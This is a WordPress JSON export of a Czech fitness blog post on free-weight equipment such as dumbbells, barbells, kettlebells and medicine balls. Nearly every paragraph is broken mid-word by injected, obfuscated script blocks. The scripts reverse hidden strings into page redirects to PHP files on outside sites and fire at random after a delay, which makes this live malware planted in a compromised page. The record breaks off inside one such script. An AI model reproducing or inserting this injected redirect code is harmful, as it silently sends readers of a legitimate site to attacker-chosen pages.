{"id":365,"date":"2020-09-09T09:31:39","date_gmt":"2020-09-09T09:31:39","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=365"},"modified":"2020-09-10T10:09:15","modified_gmt":"2020-09-10T10:09:15","slug":"velky-prinos-volne-zateze","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/09\/09\/velky-prinos-volne-zateze\/","title":{"rendered":"VELK\u00dd P\u0158\u00cdNOS VOLN\u00c9 Z\u00c1T\u011a\u017dE"},"content":{"rendered":"<h2><strong>Nejste si jist\u00ed, jak\u00fd druh voln\u00e9 z\u00e1t\u011b\u017ee zvolit a kdy? Tady je v\u0161echno, co pot\u0159ebujete v\u011bd\u011bt.<\/strong><\/h2>\n<p>Ti, kte\u0159\u00ed s posilovac\u00edm tr\u00e9ninkem za\u010d\u00ednaj\u00ed, b\u00fdvaj\u00ed \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zahlceni vybaven\u00edm posiloven. Kam se pod\u00edvaj\u00ed, tam \u010d\u00edhaj\u00ed stroje a pom\u016fcky, s nimi\u017e si mnohdy nev\u00ed rady. Chce <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to hlavn\u011b nepropadat panice a dr\u017eet se z\u00e1klad\u016f, co\u017e obvykle znamen\u00e1 \u2013 \u010dinek!<\/p>\n<h3><strong>JEDNORU\u010cKY<\/strong><\/h3>\n<p>Jsou velmi efektivn\u00ed a univerz\u00e1ln\u00ed. Kdybyste si m\u011bli vybrat jednu pom\u016fcku do svoj\u00ed dom\u00e1c\u00ed posilovny, rozhodn\u011b by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u011bl b\u00fdt p\u00e1r jednoru\u010dek. Jednoru\u010dky m\u016f\u017eete pou\u017e\u00edt dv\u011b z\u00e1rove\u0148, a nav\u00edc nab\u00edz\u00ed mo\u017enost unilater\u00e1ln\u00edho procvi\u010den\u00ed, kdy se pohybuje pouze jedna strana t\u011bla, co\u017e stroje ani velk\u00e1 \u010dinky zprost\u0159edkovat nemohou. Krom\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho nezapojujete jen prim\u00e1rn\u00ed svaly, ale sekund\u00e1rn\u011b pracuj\u00ed tak\u00e9 svaly stabiliza\u010dn\u00ed. Jednoru\u010dn\u00ed \u010dinky m\u016f\u017eete pou\u017e\u00edt k budov\u00e1n\u00ed objemu, s\u00edly i vytrvalosti, plus &#8211; s ohledem na charakter tr\u00e9ninku &#8211; tak\u00e9 ke spalov\u00e1n\u00ed tuk\u016f.<\/p>\n<h3><strong>VELK\u00c9 \u010cINKY<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-367 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky2-270x300.jpg\" alt=\"\" width=\"255\" height=\"283\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky2-270x300.jpg 270w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky2-768x853.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky2.jpg 800w\" sizes=\"auto, (max-width: 255px) 100vw, 255px\" \/>Z\u00e1kladn\u00ed vybaven\u00ed ka\u017ed\u00e9 posilovny. Velk\u00e1 \u010dinka je excelentn\u00ed pom\u016fckou, kterou uv\u00edt\u00e1te v ka\u017ed\u00e9m posilovac\u00edm tr\u00e9ninku. Standardn\u00ed velk\u00e1 ty\u010d v\u00e1\u017e\u00ed 20 kg a m\u016f\u017eete na ni nakl\u00e1dat ko<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u010de r\u016fzn\u00e9 v\u00e1hy, kter\u00e9 zajist\u00edte zar\u00e1\u017ekou. Podobn\u011b jako jednoru\u010dky, jsou i velk\u00e9 \u010dinky velmi univerz\u00e1ln\u00ed a m\u016f\u017eete je vyu\u017e\u00edt k procvi\u010den\u00ed prakticky ka\u017ed\u00e9 velk\u00e9 svalov\u00e9 partie sv\u00e9ho t\u011bla. Umo\u017en\u00ed v\u00e1m cvi\u010dit s vy\u0161\u0161\u00ed v\u00e1hou, ne\u017e jakou zvl\u00e1dnete s jednoru\u010dkami. Jsou skv\u011bl\u00e9 k budov\u00e1n\u00ed s\u00edly i objemu.<\/p>\n<h3><strong>KETTLEBELLS<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-368 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky3-255x300.jpg\" alt=\"\" width=\"233\" height=\"274\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky3-255x300.jpg 255w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky3-768x904.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky3.jpg 800w\" sizes=\"auto, (max-width: 233px) 100vw, 233px\" \/>Byly prvn\u011b vyu\u017eity v 18. s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed rusk\u00fdmi sil\u00e1ky. Tenkr\u00e1t vypadaly jako d\u011blov\u00e9 koule s madlem. A podobn\u011b jako jednoru\u010dky se vyr\u00e1b\u011bly v r\u016fzn\u00fdch velikostech. Jedn\u00e1 se o u\u017eite\u010dnou pom\u016fcku ke zvl\u00e1dnut\u00ed funk\u010dn\u00edho tr\u00e9ninku, kter\u00e1 v\u00e1m umo\u017en\u00ed stimulovat celou \u0159adu svalov\u00fdch skupin sou\u010dasn\u011b p\u0159i cvic\u00edch, jako jsou \u0161vihy, trh nebo p\u0159en\u00e1\u0161en\u00ed. Jsou zna\u010dnou v\u00fdzvou pro s\u00edlu va\u0161eho \u00fachopu a svaly jsou d\u00edky nim aktivov\u00e1ny trochu jin\u00fdm zp\u016fsobem, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee v\u00e1ha \u010dinky nen\u00ed vyv\u00e1\u017eena vn\u011b ruky, jako kdy\u017e dr\u017e\u00edte jednoru\u010dku. Pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159i cvi\u010den\u00ed s nimi p\u0159ich\u00e1z\u00ed ve velk\u00e9 m\u00ed\u0159e ke slovu svaly trupu. Proveden\u00e9 v\u00fdzkumy prok\u00e1zaly, \u017ee u tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovan\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f se s\u00edla trupu zv\u00fd\u0161ila a\u017e o 70 %, kdy\u017e pou\u017e\u00edvali v tr\u00e9ninku kettlebell \u010dinky. Sou\u010dasn\u011b maj\u00ed ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u010dinky zna\u010dn\u00fd vliv na rovnov\u00e1hu, mno\u017estv\u00ed t\u011blesn\u00e9ho tuku, aerobn\u00ed kapacitu a celkovou s\u00edlu.<\/p>\n<h3><strong>MEDICINBAL<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-369 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4-300x300.jpg\" alt=\"\" width=\"272\" height=\"272\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4-300x300.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4-150x150.jpg 150w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4-768x768.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4-75x75.jpg 75w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/09\/\u010dinky4.jpg 800w\" sizes=\"auto, (max-width: 272px) 100vw, 272px\" \/>Modern\u00ed medicinbaly vypadaj\u00ed r\u016fzn\u011b. Mohou b\u00fdt v\u011bt\u0161\u00ed \u010di men\u0161\u00ed, m\u011bk\u010d\u00ed nebo tvrd\u0161\u00ed. Ka\u017edop\u00e1dn\u011b jde o velmi zda\u0159il\u00e9 pom\u016fcky pro funk\u010dn\u00ed tr\u00e9nink. Nejenom, \u017ee buduj\u00ed svaly a vytrvalost, ale zlep\u0161\u00ed va\u0161i koordinaci, reaktivitu a explozivitu pohybu. Medicinbaly jsou k dispozici v r\u016fzn\u00fdch hmotnostech, li\u0161\u00ed se jejich reaktivita a v d\u016fsledku <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho i vyu\u017eit\u00ed. Ka\u017edop\u00e1dn\u011b m\u00e1 cvi\u010den\u00ed s nimi opravdu zna\u010dn\u00fd vliv na rychlost metabolismu.<\/p>\n<h3><strong>V\u00c1HA VLASTN\u00cdHO T\u011aLA<\/strong><\/h3>\n<p>I va\u0161e t\u011blo je vlastn\u011b takov\u00e1 voln\u00e1 z\u00e1t\u011b\u017e. Jeho pou\u017eit\u00ed v\u00e1s v podstat\u011b nic nes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toj\u00ed a p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom v\u00e1m nab\u00edz\u00ed bezpo\u010det mo\u017enost\u00ed vyu\u017eit\u00ed. Lid\u00e9 budou mo\u017en\u00e1 argumen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 